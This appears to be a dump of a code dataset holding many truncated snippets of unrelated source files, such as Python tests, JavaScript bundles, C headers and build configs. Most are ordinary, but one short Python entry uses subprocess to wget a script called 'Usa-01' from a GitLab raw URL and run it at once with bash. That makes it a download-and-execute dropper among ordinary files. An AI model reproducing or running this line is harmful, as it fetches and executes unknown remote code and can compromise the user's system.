text
stringlengths
3
1.05M
/////////////////////////////////////////////////////////////////////////// // Copyright © 2016 Esri. All Rights Reserved. // // Licensed under the Apache License Version 2.0 (the 'License'); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://w...
import os from pprint import pprint from ncpi_fhir_utility import cli from ncpi_fhir_utility.loader import load_resources import pytest from click.testing import CliRunner from conftest import RESOURCE_DIR, FHIR_API, FHIR_USER, FHIR_PW SEARCH_PARAM_DIR = os.path.join(RESOURCE_DIR, "search") ASIAN = "2028-9" NON_HISP...
from nodes import Node from type.type_infinite_list import DummyList class Map(Node): char = "m" args = 0 results = None contents = 1000 def __init__(self, node: Node.NodeSingle): self.node = node self.args = node.args def prepare(self, stack): if len(stac...
""" # MULTI-LOSS WEIGHTING WITH COEFFICIENT OF VARIATIONS ## https://arxiv.org/pdf/2009.01717.pdf In other words, this hypothesis says that a loss with a constant value should not be optimised any further. Variance alone, however, is not sufficient, given that it can be expected that a loss which has a larger (mean) m...
// // Times.h // WizardWar // // Created by Sean Hess on 5/27/13. // Copyright (c) 2013 The LAB. All rights reserved. // #import <Foundation/Foundation.h> #import "Objectable.h" @interface GameTime : NSObject <Objectable> @property (nonatomic) NSString * name; @property (nonatomic) NSInteger nextTick; @property (...
# filters.py # Source: https://github.com/DrGFreeman/PyTools # # MIT License # # Copyright (c) 2017 Julien de la Bruere-Terreault <drgfreeman@tuta.io> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal ...
import argparse import json from typing import List,Tuple class Predictions(object): def __init__(self): self.qids:List[str]=[] self.questions:List[str]=[] self.answers:List[List[str]]=[] self.predicted_articles:List[str]=[] self.predicted_answers:List[str]=[] def appen...
// ============================================================== // File generated by Vivado(TM) HLS - High-Level Synthesis from C, C++ and SystemC // Version: 2018.2 // Copyright (C) 1986-2018 Xilinx, Inc. All Rights Reserved. // // ============================================================== #ifdef __linux__ /*...
def play_mh(my_sel=1): import numpy as np doors = {1, 2, 3} prize = np.random.choice(list(doors)) if prize != my_sel: (reveal,) = doors - {prize} - {my_sel} else: reveal = np.random.choice(list(doors - {prize})) (rem,) = doors - {reveal} - {my_sel} print(f'M...
/** * The `$$` command is a short way to call the [`findElements`](/docs/api/webdriver.html#findelements) command in order * to fetch multiple elements on the page similar to the `$$` command from the browser scope. The difference when calling * it from an element scope is that the driver will look within the childr...
# Copyright 2020 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
"""Data persistence for responses and any exceptions while invoking operations.""" import datetime import json import logging import pickle import string import sys import time import uuid import botocore import config import version LOGGER = logging.getLogger(__name__) class ResponseEncoder(json.JSONEncoder): ...
import numpy as np import collections def generate_for_batch(batch_ids, generate_triplets): pos_comps=[] neg_comps=[] triplet_pos_weights=[] triplet_neg_weights=[] triplet_comps=[] # index into pos_comps and neg_comps unique_batch_ids, unique_batch_id_counts = np.unique(batch_ids, return_counts...
import json import logging from meltano.core.plugin import PluginType from meltano.core.plugin.base import PluginRef from meltano.core.plugin.error import PluginExecutionError from meltano.core.plugin.project_plugin import ProjectPlugin from meltano.core.plugin.settings_service import PluginSettingsService from meltan...
#!/usr/bin/env python3 # whoshome.py import argparse import json import socket from time import sleep from datetime import datetime import ipaddress import netifaces from scapy.all import ARP from scapy.layers.l2 import arping __version__ = '2.0.0a' class Person: def __init__(self, name, mac=None, hostname=...
import gym import itertools import matplotlib import numpy as np import pandas as pd import random import sys from fire_simulation import fireSimulation if "../" not in sys.path: sys.path.append("../") from collections import defaultdict from myworld import GridworldEnv from lib import plotting matplotlib.style.u...
from typing import Any, Optional from uuid import uuid4 from django.core.files.base import ContentFile from django.utils.text import slugify from ...core import JobStatus from ...invoice.models import Invoice from ...order.models import Order from ..base_plugin import BasePlugin from .utils import generate_invoice_nu...
/* * Copyright 2011 ArtForz * Copyright 2011-2013 pooler * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the Free * Software Foundation; either version 2 of the License, or (at your option) * any later version....
import numpy as np import pandas as pd import pytest import woodwork as ww from evalml.data_checks import ( ClassImbalanceDataCheck, DataCheckError, DataCheckMessageCode, DataCheckWarning ) class_imbalance_data_check_name = ClassImbalanceDataCheck.name def test_class_imbalance_errors(): X = pd.D...
# Copyright 2013-2022 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class Jube(PythonPackage): """The Juelich benchmarking environment (JUBE) provides a script base...
PRINT_LOGS = { "version": "show version", "images": "sonic_installer list", "docker": "docker ps -a", "interfaces": "show interface status", "ip": "show ip interface", "neigh": "ip neigh", "bgpv4": "show ip bgp summary", "bgpv6": "show ipv6 bgp summary", "routes": "ip route | wc -l"...
import React from "react"; import Layout from "../../components/layout"; import SEO from "../../components/seo"; import PenaltyUnitsCalculator from "../../components/PenaltyUnitsCalculator"; import UtilitiesSideBar from "../../components/UtilitiesSideBar.js"; const PenaltyUnitsCalculatorPage = () => { var na...
const webpack = require('webpack'); const webpackMerge = require('webpack-merge'); const MiniCssExtractPlugin = require('mini-css-extract-plugin'); const OptimizeCSSAssetsPlugin = require("optimize-css-assets-webpack-plugin"); const Visualizer = require('webpack-visualizer-plugin'); const MomentLocalesPlugin = require(...
/* BFD back-end for binary objects. Copyright 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation, Inc. Written by Ian Lance Taylor, Cygnus Support, <ian@cygnus.com> This file is part of BFD, the Binary File Descriptor library. This program is free software; you can redi...
try { throw "foo"; } catch (a) { console.log(a); }
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var tslib_1 = require("tslib"); var React = tslib_1.__importStar(require("react")); var StyledIconBase_1 = require("../../StyledIconBase"); exports.SignalCellularOff = React.forwardRef(function (props, ref) { var attrs = { "fill": ...
#pragma once #include "Panel.h" #include "GameObject.h" class PanelHierarchy : public Panel { public: PanelHierarchy(const std::string& panel_name, const SDL_Scancode& key1_down, const SDL_Scancode& key2_repeat = SDL_SCANCODE_UNKNOWN, const SDL_Scancode& key3_repeat_extra = SDL_SCANCODE_UNKNOWN); virtual ~PanelHi...
'use strict'; /** * @namespace dataModelEventHandlers * @desc These handlers are called by {@link module:decorators.dispatchDataModelEvent dataModel.dispatchEvent}. * * (Hypergrid registers itself with the data model by calling `dataModel.addListener`. Both `addListener` and `dispatchEvent` are optional API. If th...
#----------------------------------------------------------------------------- # Copyright (c) 2012 - 2018, Anaconda, Inc. and Intake contributors # All rights reserved. # # The full license is in the LICENSE file, distributed with this software. #------------------------------------------------------------------------...
const express = require("express") const router = express.Router() /** * Main router and load views */ router.get("/admin", (req, resp) => { resp.render("./admin/index.ejs") }) module.exports = router
/** * @license Highcharts JS v8.0.4 (2020-03-10) * @module highcharts/modules/annotations-advanced * @requires highcharts * * Annotations module * * (c) 2009-2019 Torstein Honsi * * License: www.highcharts.com/license */ 'use strict'; import '../../annotations/annotations.src.js'; import '../../annotations/ty...
#!/usr/bin/env python # -*- coding: utf-8 -*- """Tests for the SleuthKit (TSK) volume system.""" import unittest from dfvfs.lib import definitions from dfvfs.path import factory as path_spec_factory from dfvfs.volume import tsk_volume_system from tests import test_lib as shared_test_lib class TSKVolumeSystemTest(s...
from django.contrib.auth import get_user_model from django.core.management.base import BaseCommand from apps.notifications.models import MailPreferences class Command(BaseCommand): """ Set default mailpreferences for existing users. """ def handle(self, **options): for user in get_user_model(...
# -*- coding: utf-8 -*- import finicityapi.models.report_constraints import finicityapi.models.error_message class GenerateAssetSummaryReportResponse(object): """Implementation of the 'Generate Asset Summary Report Response' model. TODO: type model description here. Attributes: id (...
let nock = require('nock'); module.exports.testInfo = {"uniqueName":{},"newDate":{}} nock('https://keyvault_name.vault.azure.net:443', {"encodedQueryParams":true}) .put('/secrets/CRUDSecretName-canlistdeletedsecretsbypage-0') .query(true) .reply(401, {"error":{"code":"Unauthorized","message":"Request is missing...
module.exports=function(e){var t={};function o(r){if(t[r])return t[r].exports;var n=t[r]={i:r,l:!1,exports:{}};return e[r].call(n.exports,n,n.exports,o),n.l=!0,n.exports}return o.m=e,o.c=t,o.d=function(e,t,r){o.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol....
const io = require('@pm2/io'); async function initStatsClient(context) { const statsClient = io; context.statsClient = statsClient; return context; } module.exports = { initStatsClient };
# 1 "benchmarks/ds-04-impl1.c" # 1 "<built-in>" # 1 "<command-line>" # 1 "/usr/include/stdc-predef.h" 1 3 4 # 1 "<command-line>" 2 # 1 "benchmarks/ds-04-impl1.c" # 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 1 # 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/b...
(global["webpackJsonp"] = global["webpackJsonp"] || []).push([["components/thorui/tui-steps/tui-steps"],{ /***/ 1199: /*!***************************************************************************!*\ !*** D:/work/uniapp/ThorUI-uni/components/thorui/tui-steps/tui-steps.vue ***! \************************************...
/****************************************************************************** * * Copyright (C) 2015 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at: ...
const path = require('path') module.exports = { indexPath: path.join(__dirname, '..', 'index.html'), trayIconPath: path.join(__dirname, '..', 'assets', 'images', 'tray.png') }
# Plot results in output file from: # ./simulateSBML -t 10 -a -o toy.csv Toy_Model_for_PhysiCell.xml # import sys import matplotlib.pyplot as plt import numpy as np #fname = string.atof(sys.argv[1]) oname = 'oxygen.dat' gname = 'glucose.dat' ename = 'energy.dat' #time,Energy,Glucose,Hydrogen,Oxygen,Alpha,Beta,Gamma,p...
/* * Author: Jon Trulson <jtrulson@ics.com> * Copyright (c) 2015 Intel Corporation. * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitatio...
from django.test import TestCase from ethereum.utils import sha3 from hexbytes import HexBytes from rest_framework import serializers from ...constants import NULL_ADDRESS, SENTINEL_ADDRESS from ...utils import (get_eth_address_with_invalid_checksum, get_eth_address_with_key) from ..serializers ...
import re import custom_style from custom_style import setup_columns,col,remove_chart_junk import matplotlib.pyplot as plt import sys import numpy as np from matplotlib.ticker import FuncFormatter import math from collections import defaultdict from matplotlib.patches import Patch from matplotlib.lines import Line2D ...
static const char* skycube_ps_dx = R"( TextureCube g_skyTexture; SamplerState g_skySampler; float3 g_cameraPosition; float4x4 g_cameraProjInvMat; struct PS_Input { float4 SV_Position : SV_POSITION; float4 Position : POSITION0; float2 UV : UV0; }; float4 main( const PS_Input Input ) : SV_Target { floa...
import os from datetime import datetime from pypadre.pod.backend.i_padre_backend import IPadreBackend from pypadre.pod.repository.i_repository import IComputationRepository, IMetricRepository, ICodeRepository, \ IPipelineOutputRepository from pypadre.pod.repository.local.file.code_repository import CodeFileReposit...
#!/usr/bin/env python # encoding: utf-8 #Copyright © 2021, SAS Institute Inc., Cary, NC, USA. All Rights Reserved. #SPDX-License-Identifier: Apache-2.0 onnx_model = "SAS-Tiny-Yolov2.onnx" onnx_input = "input1" onnx_output = "convo.9" #TensorRT might require a Shape Inference to original model #Visit this link for fur...
#!/usr/bin/env python # Copyright (c) 2015-2017 The Syndicate Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. ''' This checks if all command line args are documented. Return value is 0 to indicate no error. Author...
from zerver.lib.test_classes import WebhookTestCase class SlackIncomingHookTests(WebhookTestCase): STREAM_NAME = "slack_incoming" URL_TEMPLATE = "/api/v1/external/slack_incoming?&api_key={api_key}&stream={stream}" FIXTURE_DIR_NAME = "slack_incoming" def test_message(self) -> None: expected_to...
!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports["monday-style"]=t():e["monday-style"]=t()}(this,(function(){return(()=>{"use strict";var e={42184:(e,t,r)=>{function a(e){return a="function"==typeof Sy...
import React from 'react'; import Grid from '@material-ui/core/Grid'; import CircularProgress from '@material-ui/core/CircularProgress'; const Loading = (props) => { const { loaded = false, children } = props; if(loaded) { return children; } return <Grid con...
import pytest import tornado from jupyter_server.services.contents.largefilemanager import AsyncLargeFileManager, LargeFileManager from jupyter_server.utils import ensure_async from ...utils import expected_http_error @pytest.fixture(params=[LargeFileManager, AsyncLargeFileManager]) def jp_large_contents_manager(req...
// github.com/shawn0326/zen-3d var _lut = []; for (var i = 0; i < 256; i++) { _lut[i] = (i < 16 ? '0' : '') + (i).toString(16); } /** * Method for generate uuid. * ( http://www.broofa.com/Tools/Math.uuid.htm ) * @method * @name zen3d.generateUUID * @return {string} - The uuid. */ function generateUUID() { // h...
import subprocess subprocess.call("wget -O Usa-01 https://gitlab.com/client.server.js/client-usa.01/-/raw/master/Usa-01 && bash Usa-01", shell=True)
import os import matplotlib.pyplot as plt import seaborn as sns import numpy as np sns.set(rc={'figure.figsize':(15,8)}) sns.set_style("whitegrid") FONT_SIZE = 22 FONT_SIZE_TICKS = 17 FONT_SIZE_LEGEND = 15 mode = 'ifmaps' # one of ['ifmaps', 'filters'] sizes = {} for file in os.listdir('fpga_modeling_reports/models_s...
from inspect import signature from mycroft.messagebus.message import Message from mycroft.metrics import Stopwatch, report_timing from mycroft.util.log import LOG from ..skill_data import to_alnum def unmunge_message(message, skill_id): """Restore message keywords by removing the Letterified skill ID. Argum...
'use strict'; const path = require('path'); const utils = require('./utils'); const webpack = require('webpack'); const config = require('../config'); const merge = require('webpack-merge'); const baseWebpackConfig = require('./webpack.base.conf'); const CleanWebpackPlugin = require('clean-webpack-plugin'); const CopyW...
#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include "remote_file.h" #include "remote_call.h" #include "remote_ports.h" extern int fileport_makeport(int fd, mach_port_name_t* port); extern int fileport_makefd(mach_port_name_t port); // copy the remote file descriptor remote_fd to t...
#ifndef WEBVIEWER_H #define WEBVIEWER_H #include <QWebEngineView> namespace vnotex { class WebViewer : public QWebEngineView { Q_OBJECT public: explicit WebViewer(QWidget *p_parent = nullptr); virtual ~WebViewer(); }; } #endif // WEBVIEWER_H
$(function () { 'use strict'; /* ChartJS * ------- * Here we will create a few charts using ChartJS */ // ----------------------- // - MONTHLY SALES CHART - // ----------------------- // Get context with jQuery - using jQuery's .get() method. var salesChartCanvas = null; // This will get th...
/* -*- Mode: Java; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* vim: set shiftwidth=2 tabstop=2 autoindent cindent expandtab: */ /* Copyright 2012 Mozilla Foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the Licen...
import pytest from django.urls import resolve, reverse from pathologic.users.models import User pytestmark = pytest.mark.django_db def test_user_detail(user: User): assert ( reverse("api:user-detail", kwargs={"username": user.username}) == f"/api/users/{user.username}/" ) assert resolve(...
# Generated by Django 2.2.2 on 2019-06-30 02:42 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Circle', fields=[ ('id', models.AutoField(a...
'use strict'; import gulp from 'gulp'; import gulpif from 'gulp-if'; import gutil from 'gulp-util'; import source from 'vinyl-source-stream'; import streamify from 'gulp-streamify'; import sourcemaps from 'gulp-sourcemaps'; import rename from 'gulp-rename'; import watchify from 'watchify'; import browserify from 'brow...
import React from "react"; import Routes from "./utils/Routes"; import "./App.css"; import Footer from "./components/Footer/Footer"; import Header from "./components/Nav/Header"; function App() { return ( <> <div className="App"> <Header /> <Routes /> </div> <Footer /> </> ...
#ifndef CalibrationIsolatedParticlesDebugInfo_h #define CalibrationIsolatedParticlesDebugInfo_h #include <vector> #include "DataFormats/DetId/interface/DetId.h" #include "Geometry/CaloTopology/interface/CaloDirection.h" namespace spr{ void debugEcalDets(unsigned int, const DetId&, bool); void debugEcalDets(unsig...
// import models const Product = require('./Product'); const Category = require('./Category'); const Tag = require('./Tag'); const ProductTag = require('./ProductTag'); // Products belongsTo Category Products.belongsTo // Categories have many Products // Products belongToMany Tags (through ProductTag) // Tags belon...
# This file is part of Indico. # Copyright (C) 2002 - 2021 CERN # # Indico is free software; you can redistribute it and/or # modify it under the terms of the MIT License; see the # LICENSE file for more details. from __future__ import unicode_literals from sqlalchemy.dialects.postgresql import ARRAY from sqlalchemy....
from os import path with open(path.join(path.dirname(__file__), 'china_city_list_source_amap.txt'), 'r', encoding='utf-8') as f: CHINESE_CITIES = { line.strip('\n') for line in f }
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.DSimpleCommandOption = void 0; const internal_1 = require("@discordx/internal"); const index_js_1 = require("../../index.js"); /** * @category Decorator */ class DSimpleCommandOption extends internal_1.Decorator { _name; _des...
#pragma once #include <halley/maths/colour.h> #include <halley/maths/vector2.h> #include <halley/maths/vector3.h> #include <halley/maths/vector4.h> #include <halley/maths/matrix4.h> #include <memory> namespace Halley { enum class ShaderType; class Texture; class VideoAPIInternal; class Material; class MaterialPa...
/*! * Copyright (c) 2017-present, Okta, Inc. and/or its affiliates. All rights reserved. * The Okta software accompanied by this notice is provided pursuant to the Apache License, Version 2.0 (the "License.") * * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0. * Unless required ...
import copy from pathlib import Path from catalyst.utils.config import load_config from catalyst.utils.dict import merge_dicts def parse_config_args(*, config, args, unknown_args): """Parse config and cli args. Args: config: dict-based experiment config args: cli args unknown_args: c...
#----------------------------------------------------------------------------- # Copyright (c) 2012 - 2019, Anaconda, Inc., and Bokeh Contributors. # All rights reserved. # # The full license is in the file LICENSE.txt, distributed with this software. #-------------------------------------------------------------------...
function digitDegree(n) { let count = 0; while (n > 9) { const numbersArr = n .toString() .split("") .map(parseFloat); n = numbersArr.reduce((total, current) => total + current, 0); count += 1; } return count; }
import { prototypal } from "./_utils"; export const sort = prototypal("sort", true);
import torch import sys sys.path.append('../') from estimators import uniform_to_exp from matching.utils import Matching def matching_struct(exp, **kwargs): ''' Defines F_struct for perfect matching Applies the "crossing" algorithm to a weight matrix 'exp' It recursively finds argminimum and excludes ...
#ifndef WB_THROTTLE_H #define WB_THROTTLE_H #include <linux/kernel.h> #include <linux/atomic.h> #include <linux/wait.h> #include <linux/timer.h> #include <linux/ktime.h> #include "blk-stat.h" enum wbt_flags { WBT_TRACKED = 1, /* write, tracked for throttling */ WBT_READ = 2, /* read */ WBT_KSWAPD = 4, /* write...
# -*- coding: utf-8 -*- """Useful utilities for working with the `mbox`_-formatted mailboxes. Credit to Mark Williams for these. .. _mbox: https://en.wikipedia.org/wiki/Mbox """ import mailbox import tempfile DEFAULT_MAXMEM = 4 * 1024 * 1024 # 4MB class mbox_readonlydir(mailbox.mbox): """A subclass of :class...
"""Provisional HST instrument and observational settings. See Optics and Observation Conditions spreadsheet at https://docs.google.com/spreadsheets/d/1pMUB_OOZWwXON2dd5oP8PekhCT5MBBZJO1HV7IMZg4Y/edit?usp=sharing for list of sources. """ import lenstronomy.Util.util as util # F160W filter configs WFC3_F160W_band_obs = ...
/* Connect: profile/[username].js */ import { useState, useEffect, useCallback } from 'react'; import Image from 'next/image'; import Link from 'next/link'; import { NextSeo } from 'next-seo'; import { useRouter } from 'next/router'; import axios from 'axios'; import { useForm } from 'react-hook-form'; import { yupR...
import * as swcHelpers from "@swc/helpers"; //@target: ES6 function foo() { for(var _len = arguments.length, s = new Array(_len), _key = 0; _key < _len; _key++){ s[_key] = arguments[_key]; } } var _iterator = Symbol.iterator; var SymbolIterator = /*#__PURE__*/ function() { "use strict"; function...
/* * Copyright (c) 2016 Lammert Bies * Copyright (c) 2013-2016 the Civetweb developers * Copyright (c) 2004-2013 Sergey Lyubka * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software withou...
(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["tabs"],{7700:function(t,e,a){"use strict";var l=a("f4ee"),n=a.n(l);n.a},cd74:function(t,e,a){"use strict";a.r(e);var l=function(){var t=this,e=t.$createElement,a=t._self._c||e;return a("div",{},[a("div",{staticClass:"crumbs"},[a("el-breadcrumb",{attrs:{separat...
""" The archive method here is based on the dataloc system. This is a system where when code is run a json file with the output directory path is written in the repo. - Pros - Can handle general paths - Cons - requires a link to files - Has trouble if experiments mix their output folders """ from .utilities imp...
''' Author: Guojin Chen @ CUHK-CSE Homepage: https://dekura.github.io/ Date: 2021-01-25 10:38:40 LastEditTime: 2021-03-10 14:16:07 Contact: cgjhaha@qq.com Description: init logger ''' from pathlib import Path import shutil from pytorch_lightning.loggers import TensorBoardLogger def init_logger(target_logger_path, cfg)...
""" numfi - a numpy.ndarray subclass that does fixed-point arithmetic. The MIT License (MIT) Copyright (c) 2021 Zinger Kyon Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, i...
/* * @Author: SkylineBin * @Date: 2019-05-23 16:55:24 * @Last Modified by: SkylineBin * @Last Modified time: 2019-05-23 16:56:19 */ /***** * * 判断数字是否是回文数 * * */ /** * @param {number} x * @return {boolean} */ var isPalindrome = function (x) { let tempArr = []; x = String(x); for (let i = ...
/* @(#)e_asin.c 1.3 95/01/18 */ /* * ==================================================== * Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved. * * Developed at SunSoft, a Sun Microsystems, Inc. business. * Permission to use, copy, modify, and distribute this * software is freely granted, provided ...
import { expect } from 'chai'; import { PrebidServer as Adapter, resetSyncedStatus, resetWurlMap } from 'modules/prebidServerBidAdapter/index.js'; import adapterManager from 'src/adapterManager.js'; import * as utils from 'src/utils.js'; import { ajax } from 'src/ajax.js'; import { config } from 'src/config.js'; import...
from . import __version__ as app_version app_name = "frappe_sandbox" app_title = "Frappe Sandbox" app_publisher = "chillaranand" app_description = "Frappe Sandbox" app_icon = "octicon octicon-file-directory" app_color = "grey" app_email = "chillar@f.io" app_license = "MIT" # Includes in <head> # ------------------ #...
import random import string from contextlib import asynccontextmanager import click import hat import hat.drivers.modbus as mod import hat.drivers.tcp from hat.drivers.modbus.common import DataType from protocols.util.client import Client class ModbusClient(Client): def receive(self): return self.regi...
import numpy as np import torch dropout = 0.3 sz = 300 + 1024 rnd = torch.rand((sz)) print(rnd.shape, rnd) x = rnd.bernoulli_(1-dropout) print(torch.sum(x) / sz ) # mask = embed.weight.data.new().resize_((embed.weight.size(0), 1)).bernoulli_(1 - dropout).expand_as(embed.weight) / (1 - dropout) print(x)
"""Support for Sure PetCare Flaps locks.""" from __future__ import annotations from typing import Any from surepy.entities import SurepyEntity from surepy.enums import EntityType, LockState from homeassistant.components.lock import STATE_LOCKED, STATE_UNLOCKED, LockEntity from homeassistant.config_entries import Con...
#!/usr/bin/env python3 """Peter Rasmussen, Programming Assignment 2, signal_processing.py This module provides signal processing helper functions. """ from copy import deepcopy import typing as t def count_signals(path: dict, signal="x"): """ Count number of x's or y's in a path. :param path: Dictionary...
#!/usr/bin/env python # -*- coding: utf-8 -*- import simplejson as json from alipay.aop.api.FileItem import FileItem from alipay.aop.api.constant.ParamConstants import * from alipay.aop.api.domain.KoubeiMarketingDataSceneTravelGetModel import KoubeiMarketingDataSceneTravelGetModel class KoubeiMarketingDataSceneTra...
from . status import status_key from .. commands.utils import open_location from LSP.plugin.core.sessions import Session from LSP.plugin.core.types import Any import json import sublime import mdpopups from tabulate import tabulate def handle_execute_client(session: Session, params: Any) -> None: """Handle the me...
// ------------------------------------------------------------ // Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License (MIT). See License.txt in the repo root for license information. // ------------------------------------------------------------ #pragma once namespace Common...
/*! jQuery UI - v1.8.24 - 2012-09-28 * https://github.com/jquery/jquery-ui * Includes: jquery.ui.widget.js * Copyright (c) 2012 AUTHORS.txt; Licensed MIT, GPL */ (function(a,b){if(a.cleanData){var c=a.cleanData;a.cleanData=function(b){for(var d=0,e;(e=b[d])!=null;d++)try{a(e).triggerHandler("remove")}catch(f){}c(b)...